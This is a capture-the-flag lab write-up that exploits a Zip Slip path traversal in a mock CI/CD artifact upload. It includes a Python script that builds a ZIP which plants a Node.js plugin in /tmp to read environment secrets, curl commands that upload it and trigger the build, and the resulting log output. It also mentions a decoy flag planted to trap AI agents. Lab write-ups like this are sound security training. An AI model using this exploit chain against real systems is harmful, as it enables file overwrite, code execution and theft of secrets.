Lab 312 — BuildStream — Zip Slip Path Traversal in Artifact Upload
Lab 312 — BuildStream — Zip Slip Path Traversal in Artifact Upload
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-10 | Status: Solved Techniques: arbitrary_file_write, build_log_data_exfiltration, environment_variable_exfiltration, remote_code_execution_via_plugin, zip_slip_path_traversal
Summary
Task: CI/CD platform with ZIP artifact upload that extracts archives without path sanitization. Solution: craft a malicious ZIP with path traversal (../) to write a Node.js plugin to /tmp/, trigger the build pipeline to execute it, and read the FLAG environment variable from build logs.
Lab 312 — BuildStream — Zip Slip Path Traversal in Artifact Upload — Hackadvisor
Description
BuildStream is a CI/CD platform built by StreamOps Technologies that lets development teams manage build pipelines, upload build artifacts, and track deployment history. The platform supports ZIP artifact uploads that are automatically extracted and processed as part of the build pipeline.
Target: https://325f08f2-4216-4214-a072-618a1046622b.labs.hackadvisor.io/
Credentials: user@test.com / password123
Objective: Find and exploit a vulnerability in the artifact handling system to retrieve a secret flag stored on the server.
Analysis
Reconnaissance
After logging in with the provided credentials, the application reveals:
- Dashboard with build pipelines, artifacts, and deployments
/artifactspage with a ZIP upload form that extracts archives automatically/pipelinespage with a critical hint in the "Pipeline Plugins" section: "Build runners automatically discover and execute plugin scripts found in the/tmp/directory during the post-build phase."- Express.js backend (X-Powered-By: Express header) running in Docker
Honeypot Detection
The HTML source contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden elements and HTML comments, designed to trick AI agents and automated scanners. This is NOT the real flag.
Vulnerability Identification
The artifact upload endpoint at /artifacts/upload accepts ZIP files and extracts them without sanitizing filenames. This is a classic Zip Slip vulnerability — filenames containing ../ sequences allow writing files to arbitrary locations on the filesystem.
Combined with the plugin execution system that runs .js files from /tmp/ during post-build, this creates a path traversal to RCE chain:
- Upload ZIP with traversal path targeting
/tmp/ - Trigger build pipeline
- Plugin executes and output appears in build logs
Solution
Step 1: Create Malicious ZIP with Path Traversal
python read-only • copy allowed#!/usr/bin/env python3 import zipfile with zipfile.ZipFile('evil.zip', 'w') as z: js_content = '''const fs = require('fs'); function ls(d) { try { return fs.readdirSync(d).join(','); } catch(e) { return 'ERR'; } } var out = []; out.push('data:' + ls('/app/data')); out.push('root:' + ls('/root')); out.push('env_flag:' + (process.env.FLAG||'')); console.log(out.join(' | ')); ''' # Path traversal to write plugin to /tmp/ z.writestr('../../../../../../tmp/plugin_all.js', js_content) # Legitimate file to make the ZIP look normal z.writestr('readme.txt', 'Build artifact')
Step 2: Upload Malicious Artifact
bash read-only • copy allowedcurl -s -b cookies.txt -X POST "https://TARGET/artifacts/upload" \ -F "artifact=@evil.zip" \ -F "pipeline_id=47b563de-5b09-4964-92ef-e191d58566b6" \ -F "description=test"
Response: "Artifact uploaded and extracted successfully" — confirming the path traversal worked and the file was written to /tmp/.
Step 3: Trigger Build Pipeline
bash read-only • copy allowedcurl -s -b cookies.txt -X POST "https://TARGET/pipelines/47b563de-5b09-4964-92ef-e191d58566b6/trigger"
Step 4: Read Flag from Build Logs
The build log shows the plugin execution output:
=== Post-Build: Plugin Execution ===
Scanning /tmp/ for pipeline plugins...
Executing plugin: plugin_all.js
data:artifacts,builds,database.db,database.db-shm,database.db-wal | root:flag.txt | env_flag:FLAG{REDACTED}
Plugin plugin_all.js completed
The flag is stored in the FLAG environment variable (and also in /root/flag.txt).